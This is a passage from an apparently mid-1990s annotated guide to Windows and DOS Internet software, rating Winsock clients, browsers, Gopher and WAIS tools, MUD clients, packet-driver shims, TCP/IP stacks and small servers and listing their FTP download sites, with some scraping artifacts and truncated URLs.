MacLayers. Available via: ftp:\/\/ftphost.cac.washington.edu\/pub...k\/uwterm_0.97f Suggestion YawTel Free This is a telnet emulator designed to work with Windows Mosaic. Available via: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/yawtel02.zip *Recommendation WinQVT\/Net v3.989 Shareware$40\nStudents $20 QVTNet is a Windows v3.1 application that supports FTP client and server (not fully graphical; commands are entered at the bottom of the window), telnet (up to 15 simultaneous sessions), mail (SMTP and POP3), NNTP (up to 30 newsgroups) and lpr. It is written as a DLL, and comes in several versions: a Windows Sockets-compatible version (recommended); a 32-bit version; and a version with it's own built-in TCP\/IP stack. The version with the built-in stack requires that you load PKTINT in DOS before running it, and also requires you to supply your own packet drivers, and is compatible with AppleTalk as well as class 6 SLIP drivers. Note: the 16-bit Winsock version of WinQVT\/Net has problems under Windows NT; use the 32-bit version instead. Available at: ftp:\/\/biochemistry.bioc.cwru.edu\/gop...t\/qvtne398.zip (packet driver version with built-in TCP\/IP stack), ftp:\/\/biochemistry.bioc.cwru.edu\/gop...t\/qvtnt398.zip (Windows NT version), ftp:\/\/biochemistry.bioc.cwru.edu\/gop...t\/qvtws398.zip (Windows Sockets version). Contact: mailto:djpk@troi.cc.rochester.edu WAIS Downright Speculation USGS WAIS Client A Windows WAIS client, available at: ftp:\/\/ridgisd.er.usgs.gov\/software\/wais\/wwais24.zip. *Downright Speculation WAIS Manager A Windows WAIS client, now compatible with Windows Sockets, available at: ftp:\/\/ftp.cnidr.org\/pub\/NIDR.tools\/w...s\/waisman3.zip ftp:\/\/ftp.cnidr.org\/pub\/NIDR.tools\/w...s\/uncwais5.zip Jim Fullton, UNC Office of Information Technology, Computing Systems Development Group, (919)962-9107; email: mailto:fullton@samba.oit.unc.edu. Recommendation EINet winWAIS v2.04 Shareware,$35\n\nThe most mature Windows WAIS client, Windows Sockets-compatible. Available at:\nftp:\/\/ftp.einet.net\/einet\/pc\/EWAIS204.ZIP or\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/ewais204.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ewais204.zip\n\nEINet Windows Shareware, MCC, 3500 West Balcones Center Drive,\nAustin, TX 78759-6509\n\nGOPHER\n\nRecommendation\nHGopher v2.4 Free\n\nThis is a Windows-sockets compatible version of Gopher, that is\nnow the property of FTP Software, Inc. Looks good.\nBe sure to get the viewers, too. Available at:\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/hgoph24.zip\n\nRecommendation\nInterGopher Demo\n\nA demo Gopher client from Intercon. Available at:\nftp:\/\/ftp.intercon.com\/InterCon\/sale...ks\/igopher.exe\n\nRecommendation\nWSGopher v1.1 Free\n\nThe best Gopher+ client for Windows. Available at:\nftp:\/\/dewey.tis.inel.gov\/pub\/wsgopher\/wsg-11.exe\nftp:\/\/boombox.micro.umn.edu\/pub\/\/gop...ows\/wsg-11.exe\n\nSuggestion\nBCGopher\n\nThis is a Gopher+ implementation that supports HTML and MIME.\nNote that this site does not use anonymous FTP; rather you must login as guest.\nAvailable via:\nftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/wins...r\/bcgopher.zip\n\nRecommendation\nPNL InfoBrowser\n\nThis is the best of the 16-bit Gopher+ implementations. Includes a waft of new\nfeatures not available in any other Gopher implementation. Impressive!\nAvailable via:\nftp:\/\/ftp.pnl.gov\/pub\/pnlinfo\/win\/ib105.exe\n\nWEB BROWSERS\n\nRecommendation\nWinWeb Free\n\nAnother publicly distributable Web client, created\nby the EINet subsidiary of MCC.\n\nAvailable at:\nftp:\/\/ftp.einet.net\/einet\/pc\/winweb.zip\n\n*Recommendation\nNetscape v1.0 Free\n\nAlthough it could use some improvements in the speed area,\nand it has its share of bugs, Netscape is now recognized as\nthe preeminent Web browser. The interface is clean, it includes\nbuttons linking to some excellent Web pages at mcom.com, it supports\nproxy servers, mailto: URLs, and best of all, a newsreader\nthat completely outclasses the competition. For example,\nBiggest complaint: no direct support for WAIS URLs (no PC\nWeb browser supports this, only XMosaic does).\nSecond biggest complaint: Mozilla is the ugliest mascot\nsince Spuds MacKenzie. The current release is a 16-bit\napplication.\n\nAvailable via:\nftp:\/\/ftp.mcom.com\/netscape\/ (Primary archive for v1.0)\nftp:\/\/ftp.digital.com\/pub\/net\/infosys\/Mosaic-Comm\/\nftp:\/\/lark.cc.ukans.edu\/Netscape\/\nftp:\/\/ftp.meer.net\/pub\/Netscape\/\nftp:\/\/src.doc.ic.ac.uk\/packages\/Netscape\/\nftp:\/\/unix.hensa.ac.uk\/pub\/mosaic.comm.corp\/\nftp:\/\/archie.au\/pub\/misc\/netscape\/\nftp:\/\/ftp.cica.indiana.edu\/pub\/pc\/win3\/winsock\/ (PC only)\nftp:\/\/mac.archive.umich.edu\/mac\/util\/network\/ (Mac only)\n\nSuggestion\nInternetworks Lite\n\nThis is a demo version of a commercial program called\nInternetworks, which is available on CD-ROM along with\nan electronic copy of The Internet Yellow Pages (not\nthe Harley Hahn version, the other one).\nIts major distinguishing features are support of OLE v2.0,\nThis is a 16-bit application, available via:\n\n*Recommendation\nWindows Mosaic v2.0a9 free\n\nIn my opinion, the release of Netscape has rendered Mosaic\n(as well as its commercial cousins, Spyglass Mosaic and\nAIR Mosaic) obsolete. However, it still may be of\nhistorical interest for some.\n\nThe Internet's Swiss army knife: supports hypertext links,\nfont styles, embedded pictures, sounds, and movies. An amazing\napplication. Compatible with Windows Sockets. Version 2.0\nsupports forms, clickable regions within pictures. To use this\nto read local documents without a TCP\/IP stack installed, you\n\nPlease note: Since Mosaic is now a 32-bit app,\nunless you are running Windows NT, or Windows 95 you must install\nWin32s (available from ftp.microsoft.com) in order to run Mosaic. Also,\nmake sure you get the viewers for sounds, JPEG, and MPEG.\nAvailable at:\nftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/wmos20a9.zip (32-bit version)\nftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/win32s.zip,\nftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/nullsock.zip (Null Winsock)\n\nGIF viewer:\nftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...e\/wingif14.zip\nftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...s\/image\/gv.zip\n\nJPEG viewer:\nftp:\/\/ftp.ncsa.uiuc.edu\/PC\/Mosaic\/viewers\/lview31.zip\nftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...ge\/lview31.zip\nftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...e\/jview090.zip\n\nMPEG viewer:\nftp:\/\/biochemistry.cwru.edu\/pub\/dos\/mpeg2.zip\nftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...vies\/mpeg2.zip\nftp:\/\/decel.ecel.uwa.edu.au\/users\/michael\/mpegw32h.zip (32-bit player,\n$25 shareware) Windows Quicktime: ftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...es\/qtwplay.zip Sound player: ftp:\/\/lister.cc.ic.ac.uk\/pub\/wingoph...\/wnplny09b.zip *Suggestion Cello WWW client v1.01 Free Cello has not kept up with some of the latest features, such as Mosaic authentication. But it is generally stable. The current version supports Windows Sockets, and can be run under Windows NT. Available at: ftp:\/\/ftp fatty.law.cornell.edu\/pub\/LII\/Cello\/cello.zip, ftp:\/\/ftp fatty.law.cornell.edu\/pub\/LII\/Cello\/viewers.zip, the graphics viewer and sound player; ftp:\/\/ftp fatty.law.cornell.edu\/pub\/LII\/Cello\/gswin.zip, a Ghostscript Postscript viewer for Windows. Suggestion SetMos v1.2 free A setup utility for Windows Mosaic by Rod Potter. Available via: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/smosaic.zip ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...ck\/smosaic.zip *Downright speculation Miscellaneous HTML editing tools: ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows\/hypedit.zip ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows\/gt_html.zip ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows\/ant_html.zip http:\/\/www.utirc.utoronto.ca\/HTMLdocs\/pc_tools.html http:\/\/werple.mira.net.au\/%7Egabriel\/web\/html\/editors\/ ftp:\/\/ftp.cray.com\/src\/WWWstuff\/RTF\/latest\/binaries HTML docs: ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows\/htmldocs.zip Downright speculation HTML Editor Another HTML editor. ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows\/htmed09a.zip Downright speculation HTML Assistant Free This an MS Windows-compatible text editor for use in creation of HTML documents. It supports multiple documents. Available at: ftp:\/\/ftp.cs.dal.ca\/htmlasst\/htmlasst.zip, ftp:\/\/ftp.cs.dal.ca\/htmlasst\/vbrun300.zip, ftp:\/\/ftp.cs.dal.ca\/htmlasst\/readme.1st Downright speculation HTMTools Free This program is a DLL that allows you to go directly from MS Word for Windows v2.0 to HTML. Written by Jorma Hartikka, mailto:Jorma.Hartikka@csc.fi. Available as: ftp:\/\/ftp.funet.fi\/pub\/msdos\/windows...d\/htmtl050.zip Downright speculation Word Macros for HTML free This adds a toolbar to MS Word for Windows that supports adding links, inline images, etc. Available via: ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows\/cu_html.zip ftp:\/\/ftp.cuhk.hk\/pub\/www\/windows\/util\/cu_html.zip Downright speculation HTMLWriter Free HTML Writer is another tool for producing HTML documents. It is available via ftp:\/\/ftp.byu.edu\/tmp\/htmlwrit.zip. Downright speculation HoTMetaL Free HoTMetaL a freeware version of what is perhaps the best HTML authoring tool for Windows, HoTMetaL Pro. This version will not view images, but it will produce legal HTML. It is available via: ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/hotmetal\/Windows ftp:\/\/ftp.ncsa.uiuc.edu\/Web\/html\/Windows MULTIMEDIA Recommendation NCSA Audible Collage This is a whiteboard program from NCSA that is also implemented on the Mac and UNIX. Available as: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/col_12b1.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/col_12b1.zip Recommendation CU-SeeMe free This application allows you to view live 4-bit grayscale video from other participants in a 160x120 window. It does not support sound. Available via: ftp:\/\/gated.cornell.edu\/pub\/video\/ ftp:\/\/gated.cornell.edu\/pub\/video\/CU-SeeMe.FAQ.7-6.txt *Downright Speculation Internet Voice Chat v1.1 Shareware$20\n\nThis is a program by Richard Ahrens that allows voice conversations over\nthe Internet. It even supports an answering machine and call screening!\nRequires WinSock 1.1, a sound card with microphone, and 386 or better.\nAvailable at:\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ivc11.zip\nftp:\/\/www.unb.ca\/pub\/winsock\/ivc11.zip\nftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/wins...\/ivc\/ivc11.zip\n\nRichard L. Ahrens, 7 Omega Ct., Middletown, NJ 07748 USA;\nfinger ahrens26@futures.wharton.upenn.edu for status info\n\nDownright speculation\nMr. Squiggle Free\n\nThis a Windows-Sockets compatible whiteboard application\nthat allows two people to share the same drawing window\nover the Internet. It was implemented in Visual Basic V3,\nand uses Brian Syme's VBWSK Visual Basic Winsock control.\nAvailable at:\nftp:\/\/commsun.its.csiro.au\/csiro\/win...\/squiggle.zip,\nftp:\/\/commsun.its.csiro.au\/csiro\/win...e\/squiggle.doc\n\nMUDS & GAMES\n\n*Recommendation\niDOOM v1.1\n\nThis is the technical advance you've all been waiting for, and which\nDOOM over the Internet!\n\niDOOM is a TCP\/IP network driver for DOOM (just as IPXSETUP works for\nfor IPX nets and SERSETUP works for serial connections).\n\nAvailable from:\nftp:\/\/mrcnext.cso.uiuc.edu\/asre\/idoom11.zip\n\nSuggestion\nMUD Man\nShareware $9, US,$15 non-US\n\nA MUD client. Available as:\nftp:\/\/wuarchive.wustl.edu\/pub\/MSDOS_...mes\/mudman.zip\n\nSuggestion\nMUDManager\nShareware\n\nA 32-bit MUD client requiring 8 Mb RAM, and 5 Mb or disk space.\nAvailable as:\nftp:\/\/caisr2.caisr.cwru.edu\/pub\/mud\/...s\/mudmgr01.exe\n\nSuggestion\nMUDWin\n\nA Windows MUD implementation by Sam Denton. Available as:\nftp:\/\/ftp.std.com\/pub\/sdenton\/mudwin.zip\n\nSuggestion\nWindows Chess\n\nPlay Chess over the Internet. Available as:\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wschesb1.zip\nftp:\/\/ftp.cica.indiana.edu\/pub\/pc\/wi...k\/wschesb1.zip\n\n*Suggestion\nFirst International Backgammon Server for Windows (FIBS\/W) v1.21\nShareware $40 Available via: ftp:\/\/ftp.cica.indiana.edu\/pub\/pc\/wi...s\/fibsw121.zip *Suggestion Go client Shareware$5\n\nAvailable via:\nftp:\/\/disabuse.demon.co.uk\/pub\/ibmpc...go\/wigc1_3.zip\n\nTALKING\n\nDownright speculation\nWinTalk v1.21 Free\n\nA Windows Sockets-compatible implementation of Ntalk and Talk. Available at:\nftp:\/\/elf.com\/pub\/wintalk\/wtalk121.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wtalk121.zip\n\nRecommendation\nWindows IRC\n\nThis is a Windows IRC client, available as:\nftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/t...rc\/winirc.exe,\nftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/t...irc\/winirc.doc\n\nDownright Speculation\nWS-IRC\nShareware $39.95 Students$24.95\nSite license: $449.95 A really nice shareware Windows IRC client that supports most IRCII commands except for DCC and CTCP. Available as: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wsirc14b.zip Also available on ftp:\/\/cs.bu.edu\/irc\/clients\/pc\/windows\/wsirc14b.zip, ftp:\/\/winftp.cica.indiana.edu\/pub\/pc\/win3\/winsock\/ ftp:\/\/ftp.undernet.org\/, ftp:\/\/ftp.demon.co.uk\/ Downright Speculation IRCIIWIN Shareware,$50\nSite license: $450 This is another IRC implementation for Windows. Available via: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc\/win3\/winsock\/ DIRECTORIES Recommendation WS-Finger Free A Windows Sockets compatible finger implementation. Available at: ftp:\/\/sparky.umd.edu\/pub\/winsock\/wsfngr11.zip Recommendation Finger v3.1 Free The Windows version of Finger, which requires a Winsock DLL. It works; try it out. Available at: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/finger31.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/finger31.zip Downright speculation PhWin v2.2 Free Windows implementation of Phby Graeme Campbell. Available at: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/phwin22.zip Downright speculation IRL CSO\/Phones Client Free This is implemented in both 16-bit and 32-bit versions, for those running Win32s, NT, or Windows 95. Available via: ftp:\/\/auck.irl.cri.nz\/pub\/phone\/irlphwin.zip, ftp:\/\/auck.irl.cri.nz\/pub\/phone\/irlph23.zip Recommendation WS-Archie A windows sockets compatible Archie implementation by David Woakes. Looks very good; runs fine under Windows NT. ftp:\/\/ftp.demon.co.uk\/pub\/ibmpc\/wins...e\/wsarch06.zip Suggestion WinWhois This a 16-bit implementations of the Whois protocol. Available via: ftp:\/\/bitsy.mit.edu\/pub\/dos\/potluck\/...k\/winwhois.zip Suggestion WinWhois32 This a 32-bit implementations of the Whois protocol. Available via: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...ck\/whois32.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/whois32.zip Suggestion X.500 implementation A windows sockets compatible X.500 implementation: ftp:\/\/ftp.sunet.se\/pub\/x500\/windows-dua\/pixie22b.zip Suggestion Windows Directory User Agent This is another X.500 client with both 16-bit and 32-bit versions. Available via: ftp:\/\/naic.nasa.gov\/software\/windows-dua\/wduainst.exe Suggestion SWIX X.500 implementation A windows sockets compatible X.500 implementation: ftp:\/\/ftp.umu.se\/pub\/pc\/swix\/swix20.exe PRINTING Downright Speculation WLPRSPL v4.0 Shareware This is a windows sockets-compatible lpr implementation that offers support for multiple queues. Be aware that LPQ doesn't run with LAN Workplace for DOS, since it doesn't fully implement Windows Sockets. It also runs with wslpd's new \"raw spooler,\" provided that you get lpd up and running prior to printing, since it will timeout quickly. Also, remember to name the spool files correctly and once you set the default spool directory, don't specify a full path in defining a spool file. Contact: mailto:th.heil@kfa-juelich.de Available as: ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...\/wlprsp40.zip. Recommendation WinLPR v1.0 Shareware This is an implementation of lpr, lpq, and lprm that allows you to print to a machine running lpd. It works fine for me. Contact: mailto:th.heil@kfa-juelich.de. Available at: ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...s\/winlpr10.zip DNS Suggestion Hlook This is a forward and reverse lookup tool that gives you the DNS name from an IP address, and the reverse. Available as: ftp:\/\/petros.psychol.utas.edu.au\/pub...oads\/iwork.zip Suggestion WS Host This is a forward and reverse lookup tool that gives you the DNS name from an IP address, and the reverse. Available as: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wshost11.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wshost11.zip Suggestion NSLookup Free This is perhaps the best of the Windows NSlookup clients. Available via: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/nslookup.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/nslookup.zip Suggestion Wormhole Free Another DNS implementation for Windows. Available via: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wormhole.exe ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wormhole.exe TIME SYNCHRONIZATION Downright speculation WinTimeSync Free A Windows Sockets-compatible implementation of the UNIX time service (port 37). Available at: ftp:\/\/ftphost.cac.washington.edu\/pub...k\/tsync1_8.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/tsync1_8.zip ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/tsync1_8.zip Downright speculation Tardis Free A Windows Sockets-compatible implementation of NTP. Available at: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/tardis.zip ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...ock\/tardis.zip Downright speculation WSNTP Shareware$25\n\nA Windows Sockets-compatible implementation of Network Time Protocol.\nAvailable at:\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wsntp14f.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wsntp14f.zip\n\nDownright speculation\nWindows Time Client Free\n\nA Windows Sockets-compatible implementation of NTP, with source\ncode. Available at:\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wstim101.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wstim101.zip\n\nMISCELLANEOUS APPLICATIONS\n\nDownright Speculation\nWinIRX free\n\nA Windows Sockets program that makes it easier to search\nor retrieve from the National Center for Biotechnology\nInformation (NCBI) Retrieve Email server. Available via:\nftp:\/\/biochemistry.cwru.edu\/pub\/dos\/win-irx.zip,\nftp:\/\/biochemistry.cwru.edu\/pub\/dos\/win-irx.txt.\n\n*Suggestion\nWSNWDemo\n\nThis includes Finger, Ping, and Echo clients as well as an\nEcho server. Useful for debugging purposes. Available via:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wsnwdemo.zip\n\n*Suggestion\nHOP\n\nThis is a Windows version of traceroute for Windows NT, which\nI suppose is useful since the built-in NT traceroute is a\ncommand-line utility. Available via:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc\/win3\/nt\/hop.zip\n\n*Downright Speculation\nPasock v1.0\n\nPasock includes sample Windows Sockets programs for Borland\nPascal, including a finger client and server. Written by\nMike Caughran, mailto:71034.2371@CompuServe.com. Available as:\nftp:\/\/oak.oakland.edu\/SimTel\/win3\/winsock\/pasock10.zip\n\nAPPLICATIONS DEMOS\n\n*Suggestion\nStarnet X-Window Server Demo Free\n\nThis is a a demonstration version of the Starnet X-server.\nThe pricing is reasonable and the product is fast.\nThey have versions that work with Windows Sockets,\npacket drivers under DOS, and some other brands under\nDOS. It is available at:\nftp:\/\/bart.starnet.com\/pub\/xwin288b.exe\nftp:\/\/bart.starnet.com\/pub\/xwin288b.txt\nftp:\/\/bart.starnet.com\/pub\/xwin_man.ps\n\nftp:\/\/ftp.ipac.net\/pub\/starnet\/pub\/xwindemo.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...o\/xwindemo.zip\nftp:\/\/polecat.law.indiana.edu\/pub\/mi...o\/xwindemo.zip\nftp:\/\/gatekeeper.dec.com\/.f\/micro\/ms...o\/xwindemo.zip\n\nThe 32-bit version requires Win32s while running under\nWindows 3.1 and WFW 3.11. It is available as:\nftp:\/\/ftp.ipac.net\/pub\/starnet\/public\/xdemo32.zip\n\nStartnet Communications, mailto:support@starnet.com\n\n*Suggestion\nECSmail Commercial\n\nECSmail is a commercial product supporting IMAP with DOS,\nWindows and Mac clients. this is a demo version. Available at:\nftp:\/\/info.asu.edu\/pub\/mail\/ecs\/ecsm...ows\/mua2-3.exe\n\nISA Corp.; (403)420-8081, fax: (403)420-8037, mailto:ecs-sales@edm.isac.ca\n\nDownright Speculation\nVis-a-Vis\nDemo version free\n\nThis is the demo version of a collaborative work application that\nincludes white boards, slides, and video conferencing application.\nAvailable via: ftp:\/\/resudox.net\/pub\/Vis\/vis.zip\n\n*Downright Speculation\nInternet Global Phone\nDemo version free\n\nAvailable via:\nftp:\/\/micros.hensa.ac.uk \/mirrors\/cica\/win3\/demo\/igp16_102.zip\nftp:\/\/micros.hensa.ac.uk \/mirrors\/cica\/win3\/demo\/igp8_102.zip\n\nSHIMS\n\nDownright speculation\nODITRPKT v2.0\n\nSupports packet drivers over ODI and token ring.\nAvailable as ftp:\/\/datacomm.ucc.okstate.edu\/pub\/oditrpkt\/BETA12.ZIP\n\nRecommendation\nDIS_PKT free\n\nProvides a packet driver over an NDIS driver. This is useful\nwhen you need to run both packet driver software (such as\nKA9Q or NCSA Telnet) and NDIS-based software (such as Chameleon NFS).\nThe latest version works with WFW v3.11, and includes a help file\nWFW.TXT with sample PROTOCOL.INI files, etc.\n\nAvailable via:\nftp:\/\/biochemistry.bioc.cwru.edu\/pub...t\/dis_pkt9.zip\nftp:\/\/netlab.usu.edu\/novell.dir\/dis_pkt9.zip\n\nRecommendation\nNDIS3PKT.386 Free\n\nFor all of us who have been wondering whether packet driver software\nhas a future, this little program by Dan Lanciani\n(ddl@harvard.edu), provides the answer - yes!\nThis is a VxD that provides DOS-box and Windows support of packet\ndriver applications on top of the NDIS v3.0 interface used by WfW 3.11,\nWindows NT, and Windows 95. Previously, it was necessary to run\nNDIS v2.0 in order to use DIS_PKT, which prevented WfW from\n\nSuggestion\nPDEther v1.03\n\nSupports ODI over packet drivers. Although I haven't had much\nsuccess with it, others have used it on thousands of machines\nand found it better than ODIPKT, especially under Windows.\nAvailable as:\nftp:\/\/sjf-lwp.novell.com\/odi\/pdether\/getpde103.zip\n\nRecommendation\nOdipkt v3.0\n\nSupports packet drivers over ODI. This is the recommended\nmethod of getting Novell NetWare to coexist with a packet-driver\nbased TCP\/IP stack. Compatible with WINPKT.\n\nAvailable as ftp:\/\/newdev.harvard.edu\/pub\/odipkt\/odipkt.com,\nftp:\/\/newdev.harvard.edu\/pub\/odipkt\/net.cfg,\nftp:\/\/newdev.harvard.edu\/pub\/odipkt\/odipkt.8,\nftp:\/\/newdev.harvard.edu\/pub\/odipkt\/odipkt.asm.\n\nSuggestion\nODINSUP\n\nThis is an NDIS over ODI shim from Novell. This allows you to run\nsoftware requiring ODI drivers, as well as software requiring NDIS\ndrivers. Since IPX and TCP\/IP are different protocols, you will not\nneed to run PKTMUX.\n\nThis was available via:\nftp:\/\/ftp.novell.com\/netwire\/novfile...les\/WSDOS1.EXE\n\nBut it has apparently vanished. Anyone know where it has gone?\n\nTCP\/IP AND NETWARE\n\nDownright speculation\nBYU Netware shell drivers free\n\nAllows you to build an IPX.COM that runs over packet drivers.\nWorks by providing .obj and .lan files for the Neware shell\ngeneration program, shgen.exe. Running shgen.exe produces netX.com\nas well as an ipx.com for your interface card. Again, I've had\nbetter results with ODIPKT than with this.\n\nAvailable at:\nftp:\/\/vax.ftp.com\/pub\/packet.driver\/pubdom\/byu\n\nDownright speculation\nIntel PDIPX free\n\nAnother way of building an IPX.COM that runs over packet drivers.\n\nAvailable at:\nftp:\/\/ftp sun.soe.clarkson.edu\/pub\/packet-drivers\/intel\/pdipx.zip\n\nSuggestion\nPDEther v1.03\n\nAn ODI over packet driver shim. See entry under Drivers and Shims.\n\nRecommendation\nOdipkt v3.0\n\nA packet driver over ODI shim. See entry under Drivers and Shims.\n\nDOS TCP\/IP STACKS\n\nSuggestion\nWATTCP free\n\nMike Durkin, Quentin Smart and Murf have updated Erick Engelke's\nWATTCP, the development package for TCP\/IP. Available via:\nftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/apps.zip (binaries),\nftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/wattcp.zip (source code)\nftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/gophserv.zip (example app)\nftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/smtpserv.zip (example app)\n\nErick Engelke, WATTCP Architect; mailto:erick@uwaterloo.ca\n\nSuggestion\nTrumpet TCP\/IP stack\n\nThis TCP\/IP stack comes in three versions: a TSR version; a\nWindows Sockets version (discussed below); and a built-in\nversion. It includes a traceroute program called hopchk2.\n\nAvailable as ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/abi-version\/\nAvailable at ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/trumpet\/tcp201.zip\n\nP. Tattam, Programmer; Psychology Department, University of\nTasmania, Hobart, Tasmania, Australia, 61-02-202346;\nmailto:peter@psychnet.psychol.utas.edu.au\n\nDownright Speculation\nPC-IP Free\n\nThis was the software that started it all. It has been worked\non at MIT, Carnegie Mellon, and Harvard and other places, but\nby now is out of date. Its authors recommend looking at newer\nalternatives such as NCSA, WATTCP, etc.\n\nHarvard version: Source code:\nftp:\/\/ftp newdev.harvard.edu,\/pub\/pcip\/pcip.tar.Z,\nftp:\/\/ftp newdev.harvard.edu,\/pub\/pcip\/doc.tar.Z,\nBinaries: ftp:\/\/newdev.harvard.edu\/pub\/pcip\/bin\/packet\/\nftp:\/\/newdev.harvard.edu\/pub\/pcip\/bin\/general\/\n\nAnother version:\nftp:\/\/netlab.usu.edu\/netwatch\/pcip96.zip\n\nDOS WITHIN WINDOWS\n\nRecommendation\nWINPKT free\n\nWINPKT is needed for running DOS applications with\nbuilt-in TCP\/IP stacks under Windows, as well as for\nsome Windows-based TCP\/IP stacks (suck as Trumpet\nWinsock). Compatible with ODIPKT.\nAvailable at ftp:\/\/biochemistry.bioc.cwru.edu\/pub...dos\/winpkt.com\n\nDownright speculation\nPKTINT\n\nPKTINT is included with the non-Winsock-compatible version\nof WinQVT\/Net to communicate with the real mode packet driver.\nAvailable at ftp:\/\/biochemistry.micro.umn.edu\/pub...t\/qvtne397.zip\n\nRecommendation\nPKTMUX v1.2 Free\n\nThis program allows multiple TCP\/IP protocol stacks to\nuse a single packet driver. It can also run over shims\nsuch as DIS_PKT; I have used it with four or more\nsimultaneous DOS-based applications. Works great. However,\nif you are only using a single DOS TCP\/IP application\nunder Windows, use WINPKT instead, since it takes less\nmemory and is faster.\n\nAvailable via ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/pktmux12.exe,\nor ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/dos\/pktmux12.exe,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/dos\/pktmux12.txt\n\nWINDOWS SERVERS\n\n*Recommendation\nFingerd\nShareware $10 A Windows Sockets compatible finger server: ftp:\/\/sparky.umd.edu\/pub\/winsock\/wfngrd12.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wfngrd12.zip *Suggestion WinSMTP WinSMTP is a shareware SMTP and POP3 daemon for Windows Sockets v1.1, writen by Jack De Winter (jackdw@metrics.com). WinSMTP can be configured for full Internet access as well as for use with a firewall; it supports MX record resolution as well as use with a mail relay machine. Available via: ftp:\/\/ftp.metrics.com\/smtp\/ssmtp104.zip http:\/\/www.metrics.com\/smtp\/index.html Downright Speculation Web4Ham Free A Windows Sockets compatible HTTP server, by Gunter Hille, mailto:hille@informatik.uni-hamburg.de. Available as: ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/web4ham.zip ftp:\/\/ftp.informatik.uni-hamburg.de\/...ck\/web4ham.zip Downright Speculation Hamburg Gopher Server Available at: ftp:\/\/ftp.informatik.uni-hamburg.de\/...ham\/go4ham.zip ftp:\/\/ftp.informatik.uni-hamburg.de\/...ham\/go4ham.doc Recommendation SerWeb v0.3 Free A fully functional HTTPd implementation for Windows. For info, mailto:estrella@cass.ma02.bull.com. Available as: ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...s\/serweb03.zip *Suggestion NCSA HTTPd for Windows Free This is a fully compliant HTTTP server from NCSA that supports scripts, and is now maintained by Robert Denny, mailto:rdenny@netcom.com. For information, try: http:\/\/www.alisa.com\/win-httpd\/ This home page contains news, latest releases, and FTP links to the server package. The FTP server location is: ftp:\/\/ftp.alisa.com\/pub\/win-httpd\/ Downright speculation Cookie server Free This is a Windows-Sockets compatible fortune cookie server (RFC 865) that runs on port 17. Available at: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...\/cooksock.zip. ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/cooksock.zip Contact: mailto:alun@huey.wst.com Suggestion 